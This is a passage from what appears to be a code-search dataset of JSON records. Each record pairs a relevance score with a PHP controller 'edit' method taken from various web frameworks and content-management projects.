array('reviewvideo_id' => $_POST['reviewvideo_cover']));\n } else {\n $sitereview->main_video = array('reviewvideo_id' => $_POST['reviewvideo_cover']);\n }\n }\n\n $sitereview->save();\n\n //VIDEO SUBFORM PROCESS IN EDITING\n foreach ($videos as $video) {\n $subform = $form->getSubForm($video->getGuid());\n\n $values = $subform->getValues();\n $values = $values[$video->getGuid()];\n if (isset($values['delete']) && $values['delete'] == '1') {\n Engine_Api::_()->getDbtable('videos', 'sitereview')->delete(array('video_id = ?' => $video->video_id, 'listing_id = ?' => $sitereview->listing_id));\n Engine_Api::_()->getDbtable('actions', 'activity')->delete(array('type = ?' => 'video_sitereview_listtype_' . $listingtype_id, 'object_id = ?' => $sitereview->listing_id));\n } else {\n $video->setFromArray($values);\n $video->save();\n }\n }\n\n return $this->_helper->redirector->gotoRoute(array('action' => 'edit', 'listing_id' => $sitereview->listing_id), \"sitereview_videospecific_listtype_$listingtype_id\", true);\n }", "title": "" }, { "docid": "45d14265a720e166c9faaffd3c7c749b", "score": "0.5819037", "text": "public function actionEdit()\n\t{\n\t \t// render the template, pass model on render template\n \t$this->renderTemplate('weatheroots/_edit');\n\t}", "title": "" }, { "docid": "7015d85230c410c83e5c3b96459d2488", "score": "0.5817958", "text": "public function edit() {\n $id = $this->parent->urlPathParts[2];\n // pass name and id to view\n $data = $this->parent->getModel(\"fruits\")->select(\"select * from fruit_table where id = :id\", array(\":id\"=>$id));\n $this->getView(\"header\", array(\"pagename\"=>\"about\"));\n $this->getView(\"editForm\", $data);\n $this->getView(\"footer\");\n }", "title": "" }, { "docid": "6d08fd64dfc6b4e707eac06a44ee1005", "score": "0.5773167", "text": "public function executeEdit(sfWebRequest $request) {\r\n\t\t$this->setTitle($this->editPageTitle());\r\n\t\t$id = $request->getParameter('id');\r\n\t\t$model = $this->getModelById($id);\r\n\t\tif (!$model) {\r\n\t\t\t//FIXME Usar excepciones\r\n\t\t\t$this->errorMessage(self::MSG_ERROR_OBJECT_NOT_FOUND, $id);\r\n\t\t\treturn $this->redirect($this->indexUrl());\r\n\t\t}\r\n\t\t\r\n\t\t$this->form = $this->newForm($model);;\r\n\t}", "title": "" }, { "docid": "740a6ee4ee5d75e1d22a5d50c92d7a7d", "score": "0.57710433", "text": "public function edit()\n {\n // will be shown by angular\n }", "title": "" }, { "docid": "24b1c22be25f1f95ad32aa10ba30ea2d", "score": "0.5769853", "text": "function edit() {\n\n\t\t// Check authorization, abort if negative\n\t\t$this->isAuthorized() or $this->abortUnauthorized();\n\n\t\t// Get the view\n\t\t$view = $this->getDefaultViewForm();\n\n\t\tif (!$view) {\n\t\t\tthrow new Exception('Edit task called, but there is no view assigned to that controller. Check method getDefaultView.');\n\t\t}\n\n\t\t// Hint the view that it's not a listing, but a form (KenedoView::display() uses it to set the right template file)\n\t\t$view->listing = false;\n\n\t\t// Wrap the output of the views depending on the way the stuff should be shown\n\t\t$this->wrapViewAndDisplay($view);\n\n\t}", "title": "" }, { "docid": "82199409cb07a19dd07a1926155fb89d", "score": "0.5769347", "text": "public function editPage($get){\n\t\t// $this->addUserMessage('You are on thin ice, Mr. Gilroy-Ware.');\n\t\t\n\t\tif(!$this->requestParameterIsSet('from')){\n\t\t // $this->setFormReturnUri();\n\t\t}\n\t\t\n\t\t$page_webid = $this->getRequestParameter('page_id');\n\t\t\n $helper = new SmartestPageManagementHelper;\n\t\t$type_index = $helper->getPageTypesIndex($this->getSite()->getId());\n\t\t\n\t\tif(isset($type_index[$page_webid])){\n\t\t if(($type_index[$page_webid] == 'ITEMCLASS' || $type_index[$page_webid] == 'SM_PAGETYPE_ITEMCLASS' || $type_index[$page_webid] == 'SM_PAGETYPE_DATASET') && $this->getRequestParameter('item_id') && is_numeric($this->getRequestParameter('item_id'))){\n\t\t $page = new SmartestItemPage;\n\t\t }else{\n\t\t $page = new SmartestPage;\n\t\t }\n\t\t}else{\n\t\t $page = new SmartestPage;\n\t\t}\n\t\t\n\t\tif($page->smartFind($page_webid)){\n \t \n \t if($page->getDeleted() == 'TRUE'){\n $this->send(true, 'show_deleted_warning');\n }\n \n $this->send($this->getSite()->pageIdIsSpecial($page->getId()), 'is_special_page');\n \n $page->setDraftMode(true);\n \t \n \t if(($page->getType() == 'ITEMCLASS' || $page->getType() == 'SM_PAGETYPE_ITEMCLASS' || $page->getType() == 'SM_PAGETYPE_DATASET') && (!$this->getRequestParameter('item_id') || !is_numeric($this->getRequestParameter('item_id')))){\n \n $this->send(true, 'allow_edit');\n \n $model = new SmartestModel;\n \n if($model->hydrate($page->getDatasetId())){\n $items = $model->getSimpleItems($this->getSite()->getId());\n $this->send($items, 'items');\n $this->send($model, 'model');\n $this->send($page, 'page');\n $this->send(true, 'require_item_select');\n $this->send('Please choose an item to continue editing.', 'chooser_message');\n $this->send('websitemanager/editPage', 'continue_action');\n }\n \n $this->send($this->getUser()->hasToken('edit_page_name'), 'allow_edit_page_name');\n $editable = $page->isEditableByUserId($this->getUser()->getId());\n \t\t$this->send($editable, 'page_is_editable');\n \t\t$parent_pages = $page->getOkParentPages();\n \t\t$this->send($parent_pages, \"parent_pages\");\n \t\t$this->send($this->getSite(), \"site\");\n \t\t$this->send(new SmartestBoolean(false), 'link_urls');\n \n }else{\n \t \n \t if($page->getType() == 'ITEMCLASS' || $page->getType() == 'SM_PAGETYPE_ITEMCLASS' || $page->getType() == 'SM_PAGETYPE_DATASET'){\n \t if($item = SmartestCmsItem::retrieveByPk($this->getRequestParameter('item_id'))){\n \t $page->setPrincipalItem($item);\n \t $this->send($item, 'item');\n \t }\n\t }else{\n\t $this->send($page->getTags(), 'page_tags');\n\t }\n \t \n \t $this->send(false, 'require_item_select');\n \t $editorContent = $page;\n \t $this->send(new SmartestBoolean(true), 'link_urls');\n \n if($this->getUser()->hasToken('modify_page_properties')){\n\t\t\n \t\t$site_id = $this->getSite()->getId();\n \t\t$page_id = $page->getId();\n\t\t\n \t\t$ishomepage = ($this->getSite()->getTopPageId() == $page->getId());\n \t\t\t\n\t\t $parent_pages = $page->getOkParentPages();\n // echo \"Parent pages set here\";\n // var_dump($parent_pages[0]);\n \t\t \n \t\tif($page->getIsHeld() == '1' && $page->getHeldBy() == $this->getUser()->getId()){\n \t\t $allow_release = true;\n \t\t}else{\n \t\t $allow_release = false;\n \t\t}\n \t\t\n \t\t$this->send($allow_release, 'allow_release');\n \t\t$this->send($this->getUser()->hasToken('edit_page_name'), 'allow_edit_page_name');\n \t\t$editable = $page->isEditableByUserId($this->getUser()->getId());\n \t\t$this->send($editable, 'page_is_editable');\n\t\t \n \t\t $available_icons = $page->getAvailableThumbnailImages();\n \t\t \n \t\t $this->send($available_icons, 'available_icons');\n\t\t \n \t\tif($page->getType() == 'ITEMCLASS' || $page->getType() == 'SM_PAGETYPE_ITEMCLASS' || $page->getType() == 'SM_PAGETYPE_DATASET'){\n \n $model = new SmartestModel;\n \n if($model->find($page->getDatasetId())){\n $editorContent['model_name'] = $model->getName();\n \n if($page->getParent() && ($type_index[$page->getParent()] == 'ITEMCLASS' || $type_index[$page->getParent()] == 'SM_PAGETYPE_ITEMCLASS' || $type_index[$page->getParent()] == 'SM_PAGETYPE_DATASET')){\n \n $parent_indicator_properties = $model->getForeignKeyPropertiesForModelId($page->getParentPage(false)->getDatasetId(), (int) $this->getRequestParameter('item_id'));\n \n $this->send(true, 'show_parent_meta_page_property_control');\n $this->send($model, 'model');\n \n if($page->getParentPage(false)->getDatasetId() == $page->getDatasetId()){\n \n // parent metapage has same model as this one\n $parent_model = &$model;\n $this->send(true, 'show_self_option');\n \n }else{\n \n // quickly fetch parent meta-page's model\n $parent_model = new SmartestModel;\n \n if($parent_model->hydrate($page->getParentPage(false)->getDatasetId())){\n \n }else{\n $this->addUserMessage(\"The parent of this page is a meta-page, but not linked to any existing model\", SmartestUserMessage::WARNING);\n }\n \n $this->send(false, 'show_self_option');\n \n }\n \n if(count($parent_indicator_properties) > 0){\n // there is a choice as to which property should be used to indicate which is the 'parent' item\n // convert to arrays and send to form\n \n $arrays = array();\n \n foreach($parent_indicator_properties as $p){\n \n $property_array = $p->__toArray();\n \n if($p instanceof SmartestItemPropertyValueHolder){\n \n $foreign_item = new SmartestItem;\n \n if($parent_indicator_properties[0]->getData()->getDraftContent() instanceof SmartestCmsItem){\n $property_array['selected_item_name'] = $parent_indicator_properties[0]->getData()->getDraftContent()->getName();\n // if($foreign_item->hydrate($p->getData()->getDraftContent())){\n // $property_array['selected_item_name'] = $foreign_item->getName();\n }else{\n $property_array['selected_item_name'] = \"Not Selected\";\n }\n\n }else{\n $property_array['selected_item_name'] = \"Unknown\";\n }\n \n $arrays[] = $property_array;\n \n }\n \n $this->send($page->getParentMetaPageReferringPropertyId(), 'parent_data_source_property_id');\n $this->send('dropdown', 'parent_mpp_control_type');\n $this->send($arrays, 'parent_meta_page_property_options');\n \n /* }else if(count($parent_indicator_properties) > 0){\n \n // the parent meta-page must be defined by a single foreign-key property of the model of this meta-page.\n // Display it, but there is no choice.\n \n if(!$page->getParentMetaPageReferringPropertyId()){\n $page->setParentMetaPageReferringPropertyId($parent_indicator_properties[0]->getId());\n }\n \n $this->send('text', 'parent_mpp_control_type');\n $property_array = $parent_indicator_properties[0]->__toArray();\n \n if($parent_indicator_properties[0] instanceof SmartestItemPropertyValueHolder){\n \n $foreign_item = new SmartestItem;\n \n // print_r($parent_indicator_properties[0]->getData()->getDraftContent());\n \n if($parent_indicator_properties[0]->getData()->getDraftContent() instanceof SmartestCmsItem){\n $property_array['selected_item_name'] = $parent_indicator_properties[0]->getData()->getDraftContent()->getName();\n // if($foreign_item->hydrate()){\n // $property_array['selected_item_name'] = $foreign_item->getName();\n }else{\n $property_array['selected_item_name'] = \"Not Selected\";\n } \n \n }else{\n $property_array['selected_item_name'] = \"Unknown\";\n }\n \n $this->send($property_array, 'parent_meta_page_property'); */\n \n }else{\n \n // there are no properties in this meta-page that point to the data type of the parent meta-page. this is a problem so we notify the user.\n if($page->getParentPage(false)->getDatasetId() == $page->getDatasetId()){\n $this->addUserMessage(\"This \".$model->getName().\" meta-page is the child of a meta-page that is also used to represent \".$model->getPluralName().\", but the \".$model->getName().\" model has no foreign-key properties that refer to other \".$model->getPluralName().\". This page will assign its own item to its parent meta-page.\", SmartestUserMessage::WARNING, true);\n $page->setParentMetaPageReferringPropertyId('_SELF');\n $this->send('_SELF', 'parent_meta_page_property');\n $this->send('text', 'parent_mpp_control_type');\n }else{\n $this->addUserMessage(\"This \".$model->getName().\" meta-page is the child of a meta-page used for model \".$parent_model->getName().\", but the \".$model->getName().\" model (that this page refers to) has no foreign-key properties that refer to \".$parent_model->getPluralName().\".\", SmartestUserMessage::WARNING);\n }\n \n }\n \n }\n \n }else{\n \n $this->addUserMessage(\"This page is a meta-page, but not linked to any existing model\", SmartestUserMessage::WARNING);\n \n }\n \n }elseif($page->getId() == $this->getSite()->getTagPageId()){\n \n if($this->getRequestParameter('tag')){\n \n $tag = new SmartestTag;\n \n if($tag->findBy('name', $this->getRequestParameter('tag'))){\n \n // $this->send(true, 'show_iframe');\n \t\t // $this->send($domain, 'site_domain');\n \t\t // $this->setTitle('Page Preview | Tag | '.$tag->getLabel());\n \t\t // $this->send(false, 'show_edit_item_option');\n // $this->send(false, 'show_publish_item_option');\n // $this->send(false, 'show_item_list');\n // $this->send(false, 'show_tag_list');\n // $this->send(false, 'show_search_box');\n // $this->send(false, 'show_author_list');\n // $preview_url .= '&amp;tag_name='.$tag->getName();\n \n /* if($this->requestParameterIsSet('model_id')){\n $preview_url .= '&amp;model_id='.$this->getRequestParameter('model_id');\n } */\n \n \t\t// $du = new SmartestDataUtility;\n \t\t// $models = $du->getModelsWithMetapageOnSiteId($this->getSite()->getId());\n // $this->send($models, 'models');\n \n $this->send($tag, 'tag');\n $this->send(true, 'is_tag_page');\n $this->send($this->getUser()->hasToken('edit_tags'), 'allow_tag_edit');\n \n }else{\n // tag does not exist - require tag select\n // $this->send('The selected tag does not exist. Please choose another tag to preview on this page.', 'chooser_message');\n // $this->send(false, 'show_item_list');\n // $this->send(true, 'show_tag_list');\n // $this->send(false, 'show_search_box');\n // $this->send(false, 'show_author_list');\n // $this->send('websitemanager/preview', 'continue_action');\n // $du = new SmartestDataUtility;\n \t // $tags = $du->getTags();\n \t // $this->send($tags, 'tags');\n }\n \n }else{\n // require tag select\n // $this->send('Please choose a tag to preview on this page.', 'chooser_message');\n // $this->send(false, 'show_item_list');\n // $this->send(true, 'show_tag_list');\n // $this->send(false, 'show_search_box');\n // $this->send(false, 'show_author_list');\n // $this->send('websitemanager/preview', 'continue_action');\n // $du = new SmartestDataUtility;\n \t // $tags = $du->getTags();\n \t // $this->send($tags, 'tags');\n }\n \n }\n \n \t\t$this->setTitle(\"Edit Page | \".$page->getTitle());\n \t\t\n \t\t$this->send($editorContent, \"page\");\n \t\t$this->send($parent_pages, \"parent_pages\");\n \t\t$this->send($ishomepage, \"ishomepage\");\n \t\t$this->send($this->getSite(), \"site\");\n \t\t$this->send(true, 'allow_edit');\n\t\t\n \t }else{\n\t \n \t $this->addUserMessageToNextRequest('You don\\'t have permission to modify page properties.', SmartestUserMessage::ACCESS_DENIED);\n \t $this->redirect('/smartest/pages');\n \t $this->send($editorContent, \"pageInfo\");\n \t $this->send(false, 'allow_edit');\n\t \n \t }\n \t \n \t}\n\t \n }else{\n $this->addUserMessageToNextRequest('The page ID was not recognized.', SmartestUserMessage::ERROR, true);\n $this->redirect(\"/smartest/pages\");\n }\n\t\t\n\t}", "title": "" }, { "docid": "cedfbdd7c03053aa540a9ee48efb8447", "score": "0.5766309", "text": "function edit() {\r\n\t\t$this->display ();\r\n\t}", "title": "" }, { "docid": "b1734ea5d39d709247f52b2d5c2493e9", "score": "0.5756207", "text": "public function handleEditMovieRequest()\r\n {\r\n $movieData = array();\r\n\r\n foreach($_POST as $key=>$value) {\r\n $movieData[$key] = $_POST[$key];\r\n }\r\n\r\n // Remove request from moviedata.\r\n unset($movieData['request']);\r\n\r\n\r\n $this->model->editMovie($movieData);\r\n\r\n if (!empty($error)) {\r\n $this->view->showError($error);\r\n } else {\r\n $this->view->editMovieSuccess();\r\n }\r\n }", "title": "" }, { "docid": "d8261df614174f9a52621a0106b46d20", "score": "0.575358", "text": "protected function AdminPage() {\n\t$oFormIn = fcHTTP::Request();\n\n\t$frm = $this->PageForm();\n\t$doSave = $oFormIn->GetBool('btnSave');\n\tif ($doSave) {\n\t $out .= $frm->Save();\n\t $sMsgs = $frm->MessagesString();\n\t $this->SelfRedirect(NULL,$sMsgs);\n\t}\n\t\n\t$oMenu = fcApp::Me()->GetHeaderMenu();\n\t $oMenu->SetNode($ol = new fcMenuOptionLink('do','edit',NULL,'cancel','edit request-item record'));\n \n\t $doEdit = $ol->GetIsSelected();\n \n /*\n\t//clsActionLink_option::UseRelativeURL_default(TRUE);\n\t$arActs = array(\n\t new clsActionLink_option(array(),'edit'),\n\t );\n\t$oPage = $this->Engine()->App()->Page();\n\n\t$out = $oPage->ActionHeader('Record',$arActs);\n\t$doEdit = $oPage->PathArg('edit');\n*/\n\t\n\t// render values/form\n\t$oTplt = $this->PageTemplate();\n\tif ($this->IsNew()) {\n\t $frm->ClearValues();\n\t $doEdit = TRUE;\n\t} else {\n\t $frm->LoadRecord();\n\t}\n\t$arCtrls = $frm->RenderControls($doEdit);\n\t$arCtrls['!ID'] = $this->SelfLink();\n\t$arCtrls['ID_Parent'] = $this->ParentAdminLink();\n\tif (!$doEdit || !array_key_exists('ID_Item',$arCtrls)) {\n\t $arCtrls['ID_Item'] = $this->ItemAdminLink();\n\t}\n\n\t$out = NULL;\n\t\n\tif ($doEdit) {\n\t $out .= \"\\n<form method=post>\";\n\t} else {\n\t // use if needed\n\t //$ctIsGone = fcHTML::fromBool($vIsGone);\n\t //$ctCostExp = fcMoney::Format_withSymbol($this->Value('CostExpPer'));\n\t}\n\n\t$oTplt->SetVariableValues($arCtrls);\n\t$out .= $oTplt->RenderRecursive();\n\n\tif ($doEdit) {\n\t $out .=\n\t \"\\n<input type=submit name=btnSave value='Save'>\"\n\t .\"\\n</form>\";\n\t}\n\treturn $out;\n }", "title": "" }, { "docid": "53adc442fed1dc21c37a56983fb62ecf", "score": "0.57158375", "text": "public function edit()\n\t{\n\t\t//\n\t}", "title": "" }, { "docid": "79f62746734c39b9f53be3e0bf6fe800", "score": "0.5715735", "text": "public function editAction()\n\t{\n\t\t//echo \"<p>Route parameters <pre>\" . htmlspecialchars(print_r($this->route_parameters, true)) . '</pre></p>';\n\t\treturn View::renderTemplate('Posts/edit.php');\n\t}", "title": "" }, { "docid": "290162f6eee598845b26949acd1fd53d", "score": "0.57147986", "text": "public function edit();", "title": "" }, { "docid": "86f76aac68d0a1726880d4adbe31fc4e", "score": "0.5698899", "text": "public function edit() {\n }", "title": "" }, { "docid": "3744db35937e67c77bf55c9321d4998b", "score": "0.56911343", "text": "public function run()\n {\n /*---( Handle page requests via AJAX calls )---*/\n if (Yii::app()->request->isAjaxRequest && isset($_GET['mode']) && $_GET['mode'] == 'SAVE' && isset($_GET['id'])) {\n\n if (Yii::app()->user->isGuest){\n\n $property = Property::model()->findByPk($_GET['id']);\n\n if (isset($property)) {\n\n $redirectURL = '';\n switch ($property->type){\n\n case 1: /*---( Home Sales )---*/\n case 2: /*---( Land Sales )---*/\n\n $redirectURL = Yii::app()->baseUrl . '/list/property/type/buy';\n break;\n\n case 3: /*---( Home Rental )---*/\n\n $redirectURL = Yii::app()->baseUrl . '/list/property/type/rent';\n break;\n\n case 4: /*---( Commercial Sales )---*/\n\n $redirectURL = Yii::app()->baseUrl . 'list/commercial/type/sale';\n break;\n\n case 5: /*---( Commercial Leased )---*/\n\n $redirectURL = Yii::app()->baseUrl . 'list/commercial/type/lease';\n break;\n }\n }\n\n\n Yii::app()->user->setReturnUrl($redirectURL);\n echo \"redirect\";\n\n } else {\n\n $this->SaveWatch();\n echo 'done';\n }\n\n Yii::app()->end();\n }\n }", "title": "" }, { "docid": "b46e6c04984d163f11cd85d221964ce8", "score": "0.5686743", "text": "public function edit( )\r\n {\r\n //\r\n }", "title": "" }, { "docid": "af8d1c656164fceef4d294e5ff07268e", "score": "0.5681261", "text": "public function edit()\n {\n /*** Instatiate a new boatramp model with the ID of the one we are editing ***/\n $this->model = new boatramp($_GET['id']);\n\n\n /*** Get the Boat Ramp where ID = model->id ***/\n $ramp = $this->model->at_id();\n /*** Get States ***/\n $states = array(\"NH\", \"ME\");\n /*** Get Towns ***/\n $towns = $this->getTowns();\n /*** Get Waterbodies ***/\n $waterbodies = $this->getWaterbodies();\n\n /*** set template variables ***/\n $this->registry->template->welcome = 'Edit Boat Ramp';\n $this->registry->template->states = $states;\n $this->registry->template->towns = $towns;\n $this->registry->template->waterbodies = $waterbodies;\n $this->registry->template->ramp = $ramp[0];\n\n\n /*** load the edit template ***/\n $this->registry->template->show($this->name, 'edit');\n\n }", "title": "" }, { "docid": "807a71f8b2b53b200dd6f43b58290112", "score": "0.5676626", "text": "public function editInfoPageAction()\n {\n if ($_SESSION[\"loginStatus\"] == Controller::EMPLOYER) {\n try {\n $account = new EmployerModel();\n $account->load($_SESSION['UserID']);\n $view = new View('employerEditInfoPage');\n echo $view->addData('employerInfo', $account)->render();\n } catch (\\Exception $e) {\n error_log($e->getMessage());\n $this->redirect('errorPage');\n }\n } elseif ($_SESSION[\"loginStatus\"] == Controller::CANDIDATE) {\n $this->redirect('candidateHomePage');\n } else {\n $this->redirect('home');\n }\n }", "title": "" }, { "docid": "c6c71e98d7b1163c70c86dd17a8a52d3", "score": "0.5673579", "text": "public function action_edit()\n\t{\n\t\t$record_id = $this->request->param('id');\n\t\t$this->addEditHandler($this->editFormViewFile, $record_id);\n\t}", "title": "" }, { "docid": "3db3d611a863deb31866cb08824a3563", "score": "0.5663342", "text": "public function actionEdit()\n {\n return $this->runEdit();\n }", "title": "" }, { "docid": "c900845ba1acb6390a034e1103e93f1c", "score": "0.56582457", "text": "public function editAction()\n {\n\t\t// get the job id\n\t\t$user_id = isset($this->_params['id']) ? $this->_params['id'] : null;\n\n\t\t// set view params\n\t\t$this->view->title = \"Edit User\";\n\t\t$this->view->edit = true;\n\n\t\t// offload all of the work\n\t\t$this->_update($user_id);\n }", "title": "" }, { "docid": "0d20c90f9b4b500496e6e74c5238ae7f", "score": "0.56466806", "text": "private function doTheEdit(){\n\t\t\t// a \"max_input_vars\" limitation. By pass it and re-process\n\t\t\tif( isset($_POST['permissions']) ){\n\t\t\t\t$post_data = explode( \"&\", file_get_contents( 'php://input' ) );\n\t\t\t\t$parsed_data = array();\n\n\t\t\t\tforeach($post_data as $post_datum){\n\t\t\t\t\t$pair = explode( \"=\", $post_datum );\n\n\t\t\t\t\t$parsed_data[urldecode( $pair[0] )] = urldecode( $pair[1] );\n\t\t\t\t}\n\n\t\t\t\t$new_post = array();\n\n\t\t\t\tforeach($parsed_data as $key => $value){\n\t\t\t\t\t$keys = preg_split( '/(?:\\[|\\])+/', $key, -1, PREG_SPLIT_NO_EMPTY );\n\n\t\t\t\t\t$this->insertValueByKeys( $new_post, $keys, $value );\n\t\t\t\t}\n\n\t\t\t\t$_POST = $new_post;\n\n\t\t\t\t$this->__actionEdit();\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "76639a07faa51f2b552a9eba215c08ba", "score": "0.5639075", "text": "public function edit()\n\t{\n\t\t\n\t}", "title": "" }, { "docid": "9694cca52d8e236e1ff5efc1250c0e93", "score": "0.5627237", "text": "public function executeUpdate(HTTPRequest $request)\n {\n $this->processForm($request);\n \n $this->page->addVar('title', 'Modification d\\'un chapitre');\n\n }", "title": "" }, { "docid": "973700b81dc79e888a99f49a89f9ed64", "score": "0.562021", "text": "public function edit()\n {\n //\n \n }", "title": "" }, { "docid": "d465a62faa9d9487429348b673a1e675", "score": "0.56166637", "text": "function index()\n {\n $this->_view_edit('view');\n }", "title": "" }, { "docid": "96884a0d55f36349b743e3d913248156", "score": "0.56139594", "text": "function edit()\n {\n $this->_view_edit('edit');\n }", "title": "" }, { "docid": "1865b1bf18a641747a42ee5a95ef0697", "score": "0.56102085", "text": "function editAdminHandler() {\n global $inputs;\n\n updateDb('admin',[\n 'name' => $inputs['admin_username'],\n 'password' => $inputs['admin_password'],\n ], [\n 'id' => $inputs['id']\n ]);\n\n updateDb('admin_building',[\n 'building_id' => $inputs['admin_building'],\n ], [\n 'admin_id' => $inputs['id']\n ]);\n\n formatOutput(true, 'update success');\n}", "title": "" }, { "docid": "8f68574fecb25745afb8e6c8c8771261", "score": "0.56059384", "text": "protected function editTaskAction() {}", "title": "" }, { "docid": "34ebcbb932ed51dcee016da24df597df", "score": "0.5604092", "text": "public function editAction()\n {\n if ($this->request->isPost()) {\n $data = $this->request->getPost();\n $id = $data['id'];\n $row = $this->getModel('page')->find($id);\n // Set slug\n if (!empty($data['slug'])) {\n $filter = new Filter\\Slug;\n $data['slug'] = $filter($data['slug']);\n }\n // Set name\n if (!empty($data['name'])) {\n $filter = new Filter\\Slug;\n $data['name'] = $filter($data['name']);\n }\n // Set form\n $form = new PageForm('page-form', $row->markup);\n $form->setInputFilter(new PageFilter);\n $form->setData($data);\n\n /**\n * Set current theme for getting custom layout\n */\n if (!empty($data['theme'])) {\n $form->get('layout')->setOption('theme', $data['theme']);\n }\n\n if ($form->isValid()) {\n $values = $form->getData();\n if (empty($values['name'])) {\n $values['name'] = null;\n }\n if (empty($values['slug'])) {\n $values['slug'] = null;\n }\n if (!$values['name'] || $row->name != $values['name']) {\n $this->removePage($row->name);\n }\n if ($values['name']) {\n $this->setPage($values['name'], $values['title']);\n }\n $values['time_updated'] = time();\n // Save\n $row->assign($values);\n $row->save();\n Pi::registry('page')->clear($this->getModule());\n Pi::service('cache')->flush('module', $this->getModule());\n // Add / Edit sitemap link\n if (Pi::service('module')->isActive('sitemap')) {\n $loc = Pi::url($this->url('page', [\n 'slug' => $row->slug,\n 'name' => $row->name,\n 'id' => $row->id,\n ]));\n Pi::api('sitemap', 'sitemap')->singleLink(\n $loc,\n $row->active ? 1 : 2,\n $this->getModule(),\n 'page',\n $row->id\n );\n }\n $message = _a('Page data saved successfully.');\n return $this->jump(['action' => 'index'], $message);\n } else {\n $message = _a('Invalid data, please check and re-submit.');\n }\n } else {\n $id = $this->params('id');\n $row = $this->getModel('page')->find($id);\n $data = $row->toArray();\n $form = new PageForm('page-form', $row->markup);\n $form->setData($data);\n\n /**\n * Set current theme for getting custom layout\n */\n if (!empty($data['theme'])) {\n $form->get('layout')->setOption('theme', $data['theme']);\n }\n\n $form->setAttribute(\n 'action',\n $this->url('', ['action' => 'edit'])\n );\n $message = '';\n }\n\n $this->view()->assign('form', $form);\n $this->view()->assign('title', _a('Page edit'));\n $this->view()->assign('message', $message);\n $this->view()->setTemplate('page-edit');\n }", "title": "" }, { "docid": "7d61445e7b3c9811fcd2a1027de2869f", "score": "0.5599427", "text": "public function showEdit()\n {\n\n }", "title": "" }, { "docid": "0f1e071ebc33ae27d5878e94711e4e39", "score": "0.55971414", "text": "function edit() {\n $this->wireframe->print_button = false;\n \n \tif($this->active_filter->isNew()) {\n \t $this->httpError(HTTP_ERR_NOT_FOUND);\n \t} // if\n \t\n \tif(!$this->active_filter->canEdit($this->logged_user)) {\n \t $this->httpError(HTTP_ERR_FORBIDDEN);\n \t} // if\n \t\n \t$filter_data = $this->request->post('filter');\n \tif(!is_array($filter_data)) {\n \t $filter_data = array(\n \t 'name' => $this->active_filter->getName(),\n \t 'group_name' => $this->active_filter->getGroupName(),\n \t 'is_private' => $this->active_filter->getIsPrivate(),\n \t 'user_filter' => $this->active_filter->getUserFilter(),\n \t 'user_filter_data' => $this->active_filter->getUserFilterData(),\n \t 'date_filter' => $this->active_filter->getDateFilter(),\n \t 'date_from' => $this->active_filter->getDateFrom(),\n \t 'date_to' => $this->active_filter->getDateTo(),\n \t 'status_filter' => $this->active_filter->getStatusFilter(),\n \t 'project_filter' => $this->active_filter->getProjectFilter(),\n \t 'project_filter_data' => $this->active_filter->getProjectFilterData(),\n \t 'order_by' => $this->active_filter->getOrderBy(),\n \t 'objects_per_page' => $this->active_filter->getObjectsPerPage(),\n \t );\n \t} // if\n \t\n \t$this->smarty->assign('filter_data', $filter_data);\n \t\n \tif($this->request->isSubmitted()) {\n \t $old_name = $this->active_filter->getName();\n \t \n \t $this->active_filter->setAttributes($filter_data);\n \t \n \t $save = $this->active_filter->save();\n \t if($save && !is_error($save)) {\n \t flash_success(\"Filter ':name' has been updated\", array('name' => $old_name));\n \t $this->redirectToUrl($this->active_filter->getUrl());\n \t } else {\n \t $this->smarty->assign('errors', $save);\n \t } // if\n \t} // if\n }", "title": "" }, { "docid": "0e46a0960314dd7f66106e6a2f15fc41", "score": "0.55963594", "text": "public function _admin() {\n\t\t$f3 = \\Base::instance();\n\t\t$db = $f3->get(\"db.instance\");\n\n\t\tif($f3->get(\"AJAX\")) {\n\t\t\t// Update configuration value\n\t\t\tswitch($f3->get(\"POST.key\")) {\n\t\t\t\tcase \"parse.markdown\":\n\t\t\t\tcase \"parse.textile\":\n\t\t\t\t\t\\Model\\Config::setVal(\"wiki.\" . $f3->get(\"POST.key\"), (int)$f3->get(\"POST.val\"));\n\t\t\t\t\tbreak;\n\t\t\t\tdefault:\n\t\t\t\t\t$f3->error(400);\n\t\t\t}\n\t\t} else {\n\t\t\t// Gather some stats\n\t\t\t$result = $db->exec(\"SELECT COUNT(id) AS `count` FROM wiki_page WHERE deleted_date IS NULL\");\n\t\t\t$f3->set(\"count_page\", $result[0][\"count\"]);\n\t\t\t$result = $db->exec(\"SELECT COUNT(DISTINCT user_id) AS `count` FROM wiki_page_update\");\n\t\t\t$f3->set(\"count_page_update_user\", $result[0][\"count\"]);\n\t\t\t$result = $db->exec(\"SELECT COUNT(id) AS `count` FROM wiki_page_update\");\n\t\t\t$f3->set(\"count_page_update\", $result[0][\"count\"]);\n\n\t\t\t// Render view\n\t\t\techo \\Helper\\View::instance()->render(\"wiki/view/admin.html\");\n\t\t}\n\t}", "title": "" }, { "docid": "b098622f83afdf1b62ac17283259ec3e", "score": "0.5596195", "text": "public function load_edit() {\n\t\t$screen = get_current_screen();\n\n\t\tif ( !empty( $screen->post_type ) && 'knowledgebase_item' === $screen->post_type ) {\n\t\t\tadd_filter( 'request', array( $this, 'request' ) );\n\t\t\tadd_action( 'restrict_manage_posts', array( $this, 'tags_dropdown' ) );\n\t\t\tadd_action( 'admin_head', array( $this, 'print_styles' ) );\n\t\t}\n\t}", "title": "" }, { "docid": "0180fbb47af0be5e609b81a6e3465c37", "score": "0.5576188", "text": "public function displayAction() {\n\t\tif(is_numeric($this->req_id)) {\n\t\t\tAPI::DEBUG(\"[DefaultController::displayAction()] Getting \" . $this->req_id, 1);\n\t\t\t$this->_view->data['info'] = $this->_model->get($this->req_id);\n\t\t\t$this->_view->data['action'] = 'edit';\n\n\t\t} else {\n\t\t\t$this->_view->data['action'] = 'new';\n\t\t}\n\t\t// auto call the hooks for this module/action\n\t\terror_log(\"Should Call: \" . $this->module .\"/\".$this->action.\"/\".\"controller.php\");\n\t\tAPI::callHooks($this->module, $this->action, 'controller', $this);\n\n\t\t$this->addModuleTemplate($this->module, 'display');\n\n\t}", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function edit()\n {\n //\n }", "title": "" }, { "docid": "c28027feda5c11615dcf472d6af3f96c", "score": "0.5573826", "text": "public function 